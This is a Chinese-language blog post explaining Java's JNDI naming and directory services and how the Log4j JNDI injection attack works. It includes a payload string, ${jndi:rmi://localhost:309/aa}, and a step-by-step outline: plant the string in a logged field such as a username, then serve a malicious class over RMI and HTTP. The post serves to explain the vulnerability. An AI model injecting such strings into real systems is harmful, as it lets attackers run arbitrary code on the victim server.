什么是JNDI?
什么是JNDI?_jndi是什么_Cloud-Future的博客-优快云博客
个人理解:
JNDI是java提供的命名和目录服务。
命名服务
命名服务是一种简单的键值对绑定,可以通过键名检索值,RMI就是典型的命名服务
目录服务
目录服务是命名服务的拓展。它与命名服务的区别在于它可以通过对象属性来检索对象,这么说可能不太好理解,我们举个例子:比如你要在某个学校里里找某个人,那么会通过:年级->班级->姓名这种方式来查找,年级、班级、姓名这些就是某个人的属性,这种层级关系就很像目录关系。
这个JNDI是j2ee时代的产物,现在都基于SpringBoot开发,很少用到这种技术,但由于是java本身自带的东西,导致在java环境中天生就带有这个东西。
JNDI的注入攻击
概念
RMI服务器:RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。
用于绑定名称和对象的关系。
JNDI Reference对象:该对象表示其本身在RMI服务器上不存在,需要进行远程下载。
注入攻击:通过log4j的指定版本,进行日志打印:log.info("${jndi:rmi://localhost:309/aa}")
这个时候,log4j会根据内容判断成需要使用jndi,接着去调用rmi指定的地址,这个rmi服务是我们自己定义的服务,并且aa对象是个Reference对象,这种对象代表请求的名称,在rmi服务器上不存在,需要去一个网站上下载该类,这个设置,可以启动rmi服务器的时候进行设置。并且下载的完成后会进行反序列化,并且这个过程是服务器上执行的,就导致了黑客可以注入任意的代码。
完成攻击有下面几个步骤:
1.想办法让被攻击的服务器上的程序,执行一次类似于这样的日志打印,
log.info("${jndi:rmi://localhost:309/aa}"),基于常识,我们可以在登录的用户名里面输入这个字符串,因为后台有的时候会打印用户名。
2.本地启动一个rmi服务,该rmi服务需要绑定一个Reference对象,并且指定Reference对象的下载地址。
3.启动一个http服务来提供下载服务,在该类中,可以进行恶意代码,必须在static和无参构造方法里面。
4.这个时候被攻击的服务器会下载该类,并进行类的反序列号,恶意代码即可被执行,这个过程是在服务端执行的,所以危害巨大。
具体的代码模拟过程:可以参考这个博客
JNDI注入 Reference + RMI 打开了rmi.object.trustURLCodebase还是失败-优快云博客